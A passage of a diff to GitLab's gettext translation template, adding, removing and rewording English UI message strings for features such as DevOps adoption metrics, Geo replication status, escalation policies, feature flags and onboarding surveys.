+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
